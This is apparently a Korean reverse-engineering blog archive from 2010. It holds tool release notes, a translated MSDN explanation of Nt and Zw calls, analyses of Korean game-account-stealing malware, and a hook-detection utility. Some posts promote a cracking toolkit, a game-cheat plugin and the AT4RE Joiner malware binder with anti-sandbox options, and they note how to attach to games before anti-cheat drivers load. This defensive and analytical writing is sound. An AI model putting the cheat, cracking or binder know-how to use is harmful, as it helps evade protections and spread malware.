RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
IDA Stealth v1.3  (0) 2010.07.25
by Sone 2010.10.10 19:49
Features:

- Imports
- An original tree view
- 2 different methods to find original imports (by IAT and/or API calls)
- A *FULL* complete rebuilder (including a new fresh IAT)

- Loader
- An analyzer and ripper of redirected API code
- An injected loader code to support mix of imports + ripped code in a thunk
- A heuristic relocator

- Tracers
- 3 default tracers (disasm, hook & ring3) to find APIs in redirected code
- A plugin interface to develop your own tracers

- Misc
- Support ALL 32/64bits Windows (9x, ME, NT, 2k, XP and Vista32/64)
- An export renormalizer for Win9x/ME (ala Icedump)
- A built-in coloured disasm/hex-viewer to analyze the redirected code
- A built-in dumper
- Support almost all known antidump tricks

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
IDA Stealth v1.3  (0) 2010.07.25
Windows Internals Fifth Edition 번역판  (0) 2010.07.23
by Sone 2010.10.10 19:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

VS2010 환경에서 개발된 프로그램을 실행하기 위해서 필요한 라이브러리

x86 기반

비상용으로 업로드


저작자 표시 비영리 변경 금지
신고
by Sone 2010.08.05 14:35
ida
IDA Stealth가  1.3으로 업데이트 되었습니다.


  * Added: Added support for the ProcessDebugObjectHandle as well as
    the ProcessDebugFlags parameters to NtQueryInformationProcess hooks

  * Added: The debugger can be automatically halted in the top-level SEH
    handler, or when a new context has been applied by the OS after returning
 from a SEH handler

  * Added: Profile for VMProtect has been added

  * Some minor fixes and improvements


저작자 표시 비영리 변경 금지
신고
by Sone 2010.07.25 01:41



1장 개념과 도구 
2장 시스템 아키텍처 
3장 시스템 메커니즘 
4장 관리 메커니즘 
5장 프로세스, 스레드, 잡 
6장 보안 
7장 I/O 시스템 
8장 스토리지 관리 
9장 메모리 관리 
10장 캐시 관리자 
11장 파일 시스템 
12장 네트워킹 
13장 시작과 종료 
14장 크래시 덤프 분석


★ 이 책에서 다루는 내용 ★ 

[윈도우 구조와 커널 완벽 해부]
 
■ 객체 관리자에서부터 레지스트리까지 핵심 시스템과 관리 메커니즘의 동작 기전 
■ 커널 디버거 등의 툴을 이용해 내부 시스템 데이터 구조체 들여다 보기 
■ 스케줄러 우선순위와 CPU 교체 정책 알고리즘 
■ 윈도우가 물리 메모리와 가상 메모리를 어떻게 다루는지 이해한다. 
■ 윈도우 네트워킹과 관련된 API, 프로토콜 드라이버, 네트워크 어댑터 드라이버 등 네트워킹 스택 
■ 파일 시스템 액세스 문제와 시스템 부팅 관련 문제 해결 
■ 크래시 분석 방법 


아실분들은 아실만한 책이죠.
영문판 해석하는 재미도 있긴있는데 ,  정 압박이 심하다 싶으신분이면서 관심있으신분들은 구매하시면 되겠네요.
7월28일까지 예판이고 , 29일부터 출고예정이랍니다.

안철수연구소 기반기술팀분들께서 수고해주셨네요
훌륭하신분들이 번역을 하셔서 , 퀼리티는 좋을것으로 생각되네요~ (물론 직접 봐야 알겠지만)
저작자 표시 비영리 변경 금지
신고
by Sone 2010.07.23 01:40
올리디버거 2.00 버젼이 최종 릴리즈 되었습니다.
아래는 개발자가 밝힌 2.00 버젼의 새로운 특징들을 번역한 것입니다.

version 2.00 already contains many new features that were not available before. Among them:


· Full support for SSE instructions, including SSE3 and SSE4. SSE registers are accessed directly,
without code injection;
> SSE명령어를 모두 지원합니다. Code Injection을 하지 않고도,  SSE 레지스터에 직접적으로 접근 가능합니다.

· Execution of commands in the context of debugger, allowing run trace speed - with conditions and
protocolling! - of up to 1,000,000 commands per second;
> 컨텍스트를 확인해서 , 실행흐름을 보다 자세히 추적할 수 있게 되었습니다.
초당 1개에서 1백만개의 추적이 가능합니다.

주 : 초대박인듯










· Unlimited number of memory breakpoints;
> 메모리 중단점 갯수 제한이 없어졌습니다.

· Conditional memory and hardware breakpoints;
> 조건부  메모리, 하드웨어 중단점 설정이 가능합니다.

· Reliable, analysis-independent hit trace;
> 믿을만한 분석?  의미를 파악하기 힘드네요

· Analyser that recognizes the number (and sometimes the meaning) of the arguments of unknown
functions;
> 알려지지 않은 함수의  인자가 몇개인지 파악할 수 있습니다.

· Detaching from debugged process;
>  디버기 프로세스로부터 디태칭이 가능합니다. 

· Debugging of child processes;
> 자식 프로세스를 디버깅할 수 있습니다.

· Built-in help for integer and FPU commands;
> 정수, 부동 소수점 관련된 명령어에 관해서 자체적으로 탑재된 도움말을 제공합니다.

· Option to pause on TLS callback;
> TLS Callback 루틴에서 정지가 가능합니다.

· Option to pass unprocessed exceptions to the unhandled exception filter.
>처리되지 않은 예외를 Unhandled Exception Filter(다뤄지지않은 예외를 처리하는 필터) 로 넘길 수 있습니다.



위 특징들 말고도,  새로운 특징들이 더 있습니다.



문서화되지않은 명령어들 일부도 지원하는모양이군요.





이번 버젼에서 추가 지원하는 명령어들 중 일부를 나열한것 같네요.  멀티바이트 NOP를 지원한다는 문구도 보입니다.
아니면 원래 지원하는데 제가 이제서야 본건지??





이런이런,,,,명령어들에 대한 상세한 도움말도 자체적으로 제공합니다.  이거 완전  굿이네요




검색기능도 추가된것이 있습니다.
원래 1.10에서는  MOV R32,R32 같은 검색 기능도 있었습니다만,
2.00버젼에서는  MOV R32,ANY  여기서  ANY라는 키워드가 새로 추가되었습니다.
말 그대로 ANY  아무거나 검색한다는 말입니다.
MOV EAX,ANY  라고 검색한다면   MOV EAX, XXXXXXX 형태의  커맨드는 모두 찾아서 표시해줍니다.



그 외에도 help파일에 많은 설명들이 있습니다.



저작자 표시 비영리 변경 금지
신고
by Sone 2010.06.05 22:57
사실 , Nt 와 Zw,   솔직히 헷갈렸었다 -_-;
이건 뭐 유저모드에서 ZwOpenProcess 를 호출하면 시스템콜을 통해서   특권전환(SYSENTER, INT 2E , SYSCALL)
을 거친뒤,  KiFastCallEntry를 통과해서 , NtOpenProcess가 호출되는 방식이고... (ntdll.dll을 살펴본 결과)

ZwOpenProcess를 커널모드에서 호출하면 , 시스템콜을 거치지않고 ,  EAX에 서비스넘버를 넣은뒤 , 바로 KiFastCallEntry가 호출되는것같다. (ntkrnlpa.exe을 살펴본 결과)

여기서 그렇다면 ,  커널모드에서  NtOpenProcess를 호출하는것과 ,  ZwOpenProcess를 호출하는것에는 어떠한 차이점이 있는가? 궁금하였는데,
마침 MS에서  VS2010의 출시를 맞아서 MSDN을 개편(?) 했는지는 몰라도 , 친절하게 설명이 나와있었다.


Using Nt and Zw Versions of the Native System Services Routines

The Windows native operating system services API is implemented as a set of routines that run in kernel mode. These routines have names that begin with the prefix Nt or Zw. Kernel-mode drivers can call these routines directly. User-mode applications can access these routines by using system calls.

-> 윈도우 운영체제의 Native Service API는  커널모드에서 동작하도록 설계된 루틴들의 집합체다.
이러한 루틴들은 Nt와 Zw 접두어로 시작하는 이름을 가진다.
커널모드 드라이버는 이러한 루틴들을 직접적으로 바로 호출할 수가 있다.
그러나 유저모드 어플리케이션은 시스템 콜을 통해서 이 루틴들에 접근할 수가 있다.





With a few exceptions, each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile and ZwCreateFile perform similar operations and are, in fact, serviced by the same kernel-mode system routine. For system calls from user mode, the Nt and Zw versions of a routine behave identically. For calls from a kernel-mode driver, the Nt and Zw versions of a routine differ in how they handle the parameter values that the caller passes to the routine.

-> 이러한 Native Service API들 중에서 , 몇가지 루틴들은 아주 약간씩 다른 버젼과 이름을 지니고 있는것을 확인할 수 있다.
NtCreateFile과 ZwCreateFile을 예로 들면, 서로 이름이 거의 비슷한것을 확인할 수 있고, 둘다 커널모드에서 작동하는 서비스이며, 실제로 이뤄지는 동작도 거의 비슷하다.
유저모드에서는 , Nt와 Zw루틴중 어떤것을 호출하던간에,  실제로 수행되는 작업은 동일하다.
(필자 주 : NtOpenProcess를 호출하게되면 , ntdll.dll의 ZwOpenProcess가 호출되죠.)
커널모드 드라이버에서 호출되게 되면 , Nt와 Zw 루틴은 실제 핵심 루틴을 호출하기전에 , caller(호출자)가 전달한 파라메터들을 핸들링하는 방식에서 차이를 보이게 된다.






A kernel-mode driver calls the Zw version of a native system services routine to inform the routine that the parameters come from a trusted, kernel-mode source. In this case, the routine assumes that it can safely use the parameters without first validating them. However, if the parameters might be from either a user-mode source or a kernel-mode source, the driver instead calls the Nt version of the routine, which determines, based on the history of the calling thread, whether the parameters originated in user mode or kernel mode. For more information about how the routine distinguishes user-mode parameters from kernel-mode parameters, see PreviousMode.

-> 커널모드 드라이버가 Zw루틴을 호출하게되면 , 파라메터들이 이미 검증된 파라메터들이라고 핵심 루틴에 알리게 된다.
즉 , 핵심루틴은 전달된 파라메터들이 이미 검증된 파라메터이기 때문에 안전하게 사용해도 되는 파라메터라고 추측하게 되어서 , 파라메터 검증과정을 건너뛰게 되는것이다. 그러나 Nt 서비스 루틴을 호출하게되면 , 파라메터들이 유저모드이건 커널모드이건 어떠한 모드에서 전달되었더라도 , Nt루틴 내부적으로 calling thread에 근거하여,  파라메터가 유저모드에서 넘어왔는지 커널모드에서 넘어왔는지 검증하는 과정을 거치게 된다.  루틴이 어떻게 유저모드 파라메터인지 , 커널모드 파라메터인지 검증하는지 이에 대해서 좀더 자세한 정보를 확인하고싶다면 ,  PreviousMode에 관해서 찾아보길 바란다.





When a user-mode application calls the Nt or Zw version of a native system services routine, the routine always treats the parameters that it receives as values that come from a user-mode source that is not trusted. The routine thoroughly validates the parameter values before it uses the parameters. In particular, the routine probes any caller-supplied buffers to verify that the buffers are located in valid user-mode memory and are aligned properly.

-> 유저모드에서 Nt나 Zw 루틴을 호출하게되면 , 해당 루틴은 항상 파라메터들을 검증하게된다.
(유저모드에서 넘어온 파라메터들을 신뢰할 수 없기 때문)
해당 루틴은 파라메터들을 핵심루틴 내부에서 사용하기전에 , 철저하게 파라메터들을 검증한다.
검증하는 과정이 여러가지가 있겠지만 , 그중에서 특별한것은 , 해당 루틴은 caller-suppplied buffer가 
적절한 유저모드 메모리에 위치해있는지,  정렬이 적절하게 되어있는지  조사하게 된다.






Native system services routines make additional assumptions about the parameters that they receive. If a routine receives a pointer to a buffer that was allocated by a kernel-mode driver, the routine assumes that the buffer was allocated in system memory, not in user-mode memory. If the routine receives a handle that was opened by a user-mode application, the routine looks for the handle in the user-mode handle table, not in the kernel-mode handle table.

-> 시스템 서비스 루틴은 파라메터를 받으면 , 추가적으로 어떠한 추측을 내린다.
만약에 어떤 루틴이  파라메터로  커널모드 드라이버에 의해서 할당된 버퍼의 포인터를 받았다면 ,  해당 루틴은 그 버퍼가 유저모드 메모리가 아닌,  시스템 메모리에 할당되어있다고 가정하게 된다.  또한 어떤한 루틴이 파라메터로 유저모드 어플리케이션에 의해 열린 핸들을 받았다고 한다면 ,  그 루틴은 커널모드 핸들테이블을 검색하는것이 아니라, 유저모드의 핸들테이블을 검색하게 된다.






In a few instances, the meaning of a parameter value differs more significantly between calls from user mode and from kernel mode. For example, theZwNotifyChangeKey routine (or its NtNotifyChangeKey counterpart) has a pair of input parameters, ApcRoutine and ApcContext, that mean different things, depending on whether the parameters are from a user-mode or kernel-mode source. For a call from user mode, ApcRoutine points to an APC routine and ApcContext points to a context value that the operating system supplies when it calls the APC routine. For a call from kernel mode,ApcRoutine points to a WORK_QUEUE_ITEM structure, and ApcContext specifies the type of work queue item that is described by theWORK_QUEUE_ITEM structure.

-> 헷갈리네요............알듯말듯 하면서도 번역불가.
위 내용들과 비슷한거같은데...(Help me)






잘못된 내용이 있다면 알려주세요.

저작자 표시 비영리 변경 금지
신고
by Sone 2010.05.25 20:48

오늘 학교 실습실에서 ,  악성코드 샘플을 하나 입수했는데,

전파경로는 USB AutoRun으로 전파되는 방식이더군요.

이동식디스크가 장착되면,  이동식디스크 루트경로에  Autorun.inf파일과 ,  exe파일이 생성됩니다.

 


일단 악성코드의 행동을 대충  눈으로 흘겨봤는데,

감염되면  C:\Windows\system32\  경로에 다음 파일이 생성되는것으로 보여집니다.

 

cyban0.dll

cyban1.dll

ieban0.dll

TingSting.dll

cyban.exe

 

 

그리고 , 

Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL

경로에 접근하여 ,  탐색기에서  시스템파일과 숨김파일은 절대 보이지않게끔 수정을 시도합니다.

사용자가 숨김파일과 시스템파일을 보려고 탐색기상에서 아무리 폴더옵션 변경을 시도해도 , 보이지 않습니다.

(결국, 관찰하려면  콘솔에서 관찰해야합니다.)




학교에서 봤을땐 ,  cyban0.dll 파일은  NtOpenSection으로 physicalmemory   Open  뒤에,

KeServiceDescriptorTable에 접근해서  후킹되어져 있는 Address를 모두  Restore시킨 후 ,  

안티바이러스의 자가보호기능을 무력화시는것으로 보여졌는데,

집에서 열어보니  왜 cyban0.dll과  cyban1.dll 파일이  똑같이 생겼는지 이유를 잘 모르겠군요 -_-;

전혀 관계없는  다른 악성코드를 열어본건가....

(시간나면 다시 학교가서 입수해야겠습니다.)

 

어쨌든  저 cybanX.dll 이라는 악성코드에 감염되면,  다음 온라인게임의 계정이 유출될 가능성이 있습니다.

 

 

dekaron.exe     데카론
Mir3Game.exe      미르의 전설
darkeden.exe   다크에덴
dnf.exe           던전앤파이터    (PC OTP를 타겟으로 해서 아이디와 비밀번호를 갈취함)
maplestory.exe      메이플스토리
winbaram.exe               바람의나라
gersang.exe             거상
cabalmain.exe         카발온라인
dragonnest.exe          드래곤네스트
InphaseNXD.exe    테일즈위버
so3d.exe              씰온라인
wow.exe              월드오브워크래프트
client.exe              마비노기
ge.exe                  그라나도 에스파다
aion.bin               아이온
ff2client.exe           피파온라인2
main.exe              그랜드체이스
irisclient.exe            아이리스 온라인
 
 
상세한 기술적인 분석을 시도해보려고는 하는데 ,  이거 dll파일 내부의 분량이 워낙 방대해서 -_-;;
게다가   서브루틴으로 복잡게 나눠놨더군요.
쓰레드는 뭘 그렇게 많이 생성하는지 원....
시간이 꽤 걸릴것 같습니다....귀차니즘때문에 하지못할수도 있겠구요...
그래도 해킹의 원인을 밝혀내기 위해서  날잡고 한번 해볼 생각입니다.
 
참고로 , ASPack 2 버젼으로 패킹되어져 있으며,
카스퍼스키 안티바이러스 2010.736  2010.05.14.02:00   DB로  탐지가 되지않고 있습니다.

windows\system32 경로에  cyban1.dll 파일이 존재한다면 ,  이미 malware가 실행중이라고 보시면 됩니다.
지금 체크해보세요!


Virus Total  결과 보기

더보기



저작자 표시 비영리 변경 금지
신고
by Sone 2010.05.14 16:58




2010/4/27
프로그램이 좀더 안정적으로 동작하도록 소스코드의 전반적인 수정.






중국발 넥슨 계정을 노리는 악성코드는
HttpSendRequestA와 HttpSendRequestW 의 인라인 후킹을 통해서 넥슨 ID와 비밀번호를 빼낸다고,

이 프로그램은 위 두 API 함수의 후킹여부를 알려주는 기능을 가지고 있습니다.
정상적인 프로그램이라면 위 두 함수를 후킹할리가 없습니다.

아무리 악성코드가 시스템에 몰래 숨어들어와서 작동하고있어도,
여전히 똑같은 수법을 쓰고있다면 , 이 프로그램에서 탐지할 수 있습니다.


코드는 간단합니다.
GetProcAddress를 이용하여 , 두 함수의 주소를 얻어온뒤 , 원본 바이트와 비교하게끔 하였습니다.
원본바이트는 wininet.dll에 직접 접근하여 얻어올수도 있겠지만,
귀찮아서(?) 하드코딩 시켜버렸습니다. (약간 호환성이 떨어지는 단점이 있을수가 있겠네요.)

HttpSendRequestA(또는 HttpSendRequestW) + - 5Bytes 를 검사합니다.

NOP
NOP
NOP
NOP
NOP
MOV EDI,EDI
PUSH EBP
MOV EBP,ESP






윈도우XP SP3 , 윈도우7   에서  Internet Explorer 8 환경에서 테스트를 완료했습니다.
IE6은 속된말로 XXX라서 , 테스트 안하려고했지만
그래도 국내에 사용자가 많아서 테스트했습니다.
IE7은 테스트 안했기때문에 잘 작동할지 장담하지는 못합니다.( 원본바이트가 다를수도 있음 )


인터넷익스플로러 띄운뒤 , 콘솔프로그램 실행하면됩니다.


VS2010에서 만들어졌기때문에  재배포 패키지가 필요합니다.
실행시 , 에러뜨시는분들은 vcredist_x86 설치하시면 됩니다.
설치 왜 해야되냐 , 따지시는분들이 있을수도 있는데 , 
언제가 될진 모르지만 차후에 VS2010으로 프로그램들이 쏟아져 나올것이 뻔하기때문에
미리 설치해두면 그냥 좋습니다.


안전하다고 나오면 안전한겁니다.
API가 변조되었다고 나오면,  뭔가 이상한놈이 달라붙어서 가로채가고 있을수도 있습니다.
따라서 최신버젼의 백신으로 아래의 폴더를 모든파일 검사 옵션으로 수동으로 검사하기를 권장드립니다.

C:\Windows\system
C:\Windows\Fonts
C:\Windows\system32




아래는 소스 파일입니다.
저작자 표시 비영리 변경 금지
신고
by Sone 2010.04.25 13:21
KiFastCallEntry의 후킹을 통한 간단한 모니터링 작업


(KiFastCallEntry : SYSENTER명령어는 IA32_SYSENTER_EIP  MSR 레지스터에 저장된 Instrution Pointer를 참조하여
해당 위치로 이동하는데  이때 , IA32_SYSENTER_EIP에는 KiFastCallEntry의 주소가 담겨있다.
KiFastCallEntry 함수의 뜻을 내멋대로 해석을 해보았는데 , 이것이 맞는지는 모르겠지만,
 흔히 SYSENTER 명령어를 이용하는 목적이 빠른 시스템 콜(FastCall)을 위한것이고 , 그것의 Entry Address , 즉 Fast System Call의 EntryPoint 개념이  KiFastCallEntry 함수라고 생각이 된다.)

SYSENTER :  아래는 IA-32 매뉴얼에서 발췌
The SYSENTER and SYSEXIT instructions were introduced into the IA-32 architecture in the Pentium II processors for the purpose of providing a fast (low overhead) mechanism for calling operating system or executive procedures. SYSENTER is intended for use by user code running at privilege level 3 to access operating system or executive procedures running at privilege level 0. SYSEXIT is intended for use by privilege level 0 operating system or executive procedures for fast returns to privilege level 3 user code. SYSENTER can be executed from privilege levels 3, 2, 1, or 0; SYSEXIT can only be executed from privilege level 0.

-> SYSENTER와 SYSEXIT명령어는   펜티엄2 프로세서부터 도입되었으며 ,  유저모드에서 운영체제 레벨로 빠른 특권전환과 함께 프로시져를 호출하는데 그 목적이 있다.SYSENTER는 보통 유저코드에서(Ring3) 커널코드(Ring0)로 특권전환을 이행해서 커널의 프로시져를 호출하는데 사용되는 경향이 있다. SYSEXIT는  Ring0에서 Ring3로 리턴하기 위해서 사용된다.  SYSENTER는  Ring3,2,1,0 에서 사용가능하며 , SYSEXIT는  Ring0에서만 사용 가능하다.

(주 : MS 운영체제에서는 Windows XP 부터 도입되었으며 , 이전의 NT운영체제는 INT 2E를 사용.
XP에서도 이전 NT의 호환성을 위해서 INT 2E를 사용하는 함수인 KiIIntSystemCall이라는 함수가 존재하긴 하나,
거의 사용하는 꼴을 보진 못하였다. 아마 호환성 체크에다가 Windows2000을 선택하면 KiIntSystemCall을 호출하려나?)


For SYSENTER, target fields are generated using the following sources:
•Target code segment — Reads this from IA32_SYSENTER_CS.
•Target instruction — Reads this from IA32_SYSENTER_EIP.
•Stack segment — Computed by adding 8 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from the IA32_SYSENTER_ESP.

For SYSEXIT, target fields are generated using the following sources:
•Target code segment — Computed by adding 16 to the value in the IA32_SYSENTER_CS.
•Target instruction — Reads this from EDX.
•Stack segment — Computed by adding 24 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from ECX.

IA32_SYSENTER_EIP에 관한 정보
Register Address : 0x176 (374d)
Architectural MSR Name : IA32_SYSENTER_EIP


ps. MSR레지스터에 관한 자세한 정보는 IA-32 매뉴얼 Volume 3B의  "Appendix B - Model-Specific Registers" 를 참조하시면 될듯..

mov ecx, Register Address
wrmsr
과  rdmsr  만 있으면  MSR을 마음대로 컨트롤 할수가 있다.
저작자 표시 비영리 변경 금지
신고
by Sone 2010.04.20 02:16
From:bbs.pediy.com
It's a pediy's gift. Crack_New_Year_Presents_2010
 
pediy.com 은 리버싱에 관심있으신분들이라면 , 한번쯤은 들어봤을 겁니다.
거기서 2010년을 맞이해서 2010년에도 크랙과 함께하라고 선물을 뿌렸습니다.
이름하여 , 크랙툴킷 종합세트입니다.
 
 
 
 
 
다운로드 받으려면 Utorrent가 필요합니다.
파일의 사이즈는  1.76GBytes 입니다.
지금 이 글을 시점에서 보면, 씨더가 별로 없기때문에 , 받으실분은 하루빨리 받아가는게 좋습니다.
참고로 속도는 엄청나게 느립니다.  컴퓨터 몇일간 켜놔야할듯..
 
저작자 표시 비영리 변경 금지
신고
by Sone 2010.04.04 15:35





This plugin Allow You to Cheat Games with OllyDbg .






사실 출시된지는 꽤 됐는데 , 이제서야 올립니다.
올리디버거에서  플러그인 형태로 실행되며 , 주로 게임 데이터를 조작할때 사용됩니다.
뭐 치트엔진과 비교했을때 , 단점은 커널모드의 스캔은 지원되지 않는다는 것입니다.
Scope Limit 가   0x7FFFFFFF  인것만 봐도 알수있죠.
온라인게임에 어태치를 시키려면 , 커널모드 보안프로그램이 실행되기전에 어태치시키거나
 커널모드 드라이버의 로드를 막는 방법밖에 없습니다.

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

시험 끝나고 해볼 뻘짓 - KiFastCallEntry후킹  (0) 2010.04.20
pediy`s Crack New Year Presents 2010  (2) 2010.04.04
Games Invader v2.1  (2) 2010.04.04
C-Decompiler v1.1 Demo  (1) 2010.04.04
flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
by Sone 2010.04.04 15:26

 아직 개발중에 있는 C-Decompiler 입니다.
완벽하지는 않지만 개발중이라는것에 의의를 둬야할듯..
윈도우 메모장은 디컴파일이 가능하다고 합니다. (윈도우7 메모장을 디컴파일 시도해봤는데 , 런타임에러 발생...)

아직 큰 기대는 안하는게 좋을듯

Recent Development

C-Decompiler V1.1:

  • Can decompile Windows Notepad.
  • Support more complex algorithms, such as matrix multiplication.
  • The code more readable.
  • Support for C + + classes, class inheritance can be identified.



Introduction

The C-Decompiler is a x86-based C/C++ language decompiler, which reads the PE file, outputs the corresponding C/C++ code. Currently, the basic decompile function of C language has been completed. This version can decompile the 56 test examples.Mostly of them are build by VC2003, others are build by VC6, VC2005, VC2008.

Waiting for your feedback, Our Forum

E-mail: c-decompiler@hotmail.com



저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

pediy`s Crack New Year Presents 2010  (2) 2010.04.04
Games Invader v2.1  (2) 2010.04.04
C-Decompiler v1.1 Demo  (1) 2010.04.04
flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
by Sone 2010.04.04 15:18

개인이 개발한 메모장2 프로그램인데 , 상당히 쓸만합니다.


대부분 언어들의 표시를 지원하며 , 개인의 입맛에 맞게 변경도 가능합니다.
개발자가 소스코드 공개까지 한 상태이기 때문에 , 뜯어고치는것은 소스코드를 접하는 사람들에 달려있다고 볼수 있겠습니다.

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Games Invader v2.1  (2) 2010.04.04
C-Decompiler v1.1 Demo  (1) 2010.04.04
flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
by Sone 2010.04.04 14:46
이전의 악성코드 포스팅에서 대부분의 악의적인 목적으로 작성되는 악성코드는 Binder종류의 프로그램을 이용해서
Fake 목적의 파일과 결합되어진 상태로 배포된다고 했었는데,

여기서 수많은 BInder종류의 프로그램 들 중, 한가지를 소개할까 합니다.

Arab Team 4 Reverse Engineering 에서 내놓은 JOINER라는 프로그램인데,
심플하면서도 강력한 기능들을 갖추고 있습니다.

기본적으로는 실행가능한(EXE)  파일 2개를 선택해서 Merge 시킬 수 있는 기능을 갖추고 있습니다.
(아쉽게도 그림파일을 첨부할 수 있는 기능은 없군요.)
여기에 부가 옵션으로 UPX패킹 옵션을 넣을 수 있고, Melt라는 옵션은 정확히 아직 어떠한 역할을 수행하는것인지 잘 모르겠네요.
결합된 파일의 아이콘을 지정할 수 있는 기능도 갖추고 있습니다.




이제 각종 고급옵션을 살펴보면,

* 파일 속성 지정 가능
* 압축이 풀리는 경로 지정 가능
* 실행 순서 지정가능
* 각종 보호 옵션 (Anti Debugger , Anti VMWare , Anti Virtual PC , Anti WireShark , Anti JoeBox , Anto SandBox , Anti ThreathExpert,  시스템 복원 중지 , 작업 관리자 실행 차단)

이건 뭐 프로그램 제작자가 , "어떠한 목적으로 사용하던간에 사용에 따른 결과는 너네들이 책임져라" 
라고 간접적으로 말하고 있네요.

저도 이쯤에서 다시한번 말합니다.
USE AT YOUR OWN RISK!!!

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

C-Decompiler v1.1 Demo  (1) 2010.04.04
flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
Kernel Detective 1.3.1  (5) 2010.01.23
by Sone 2010.04.04 14:36

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

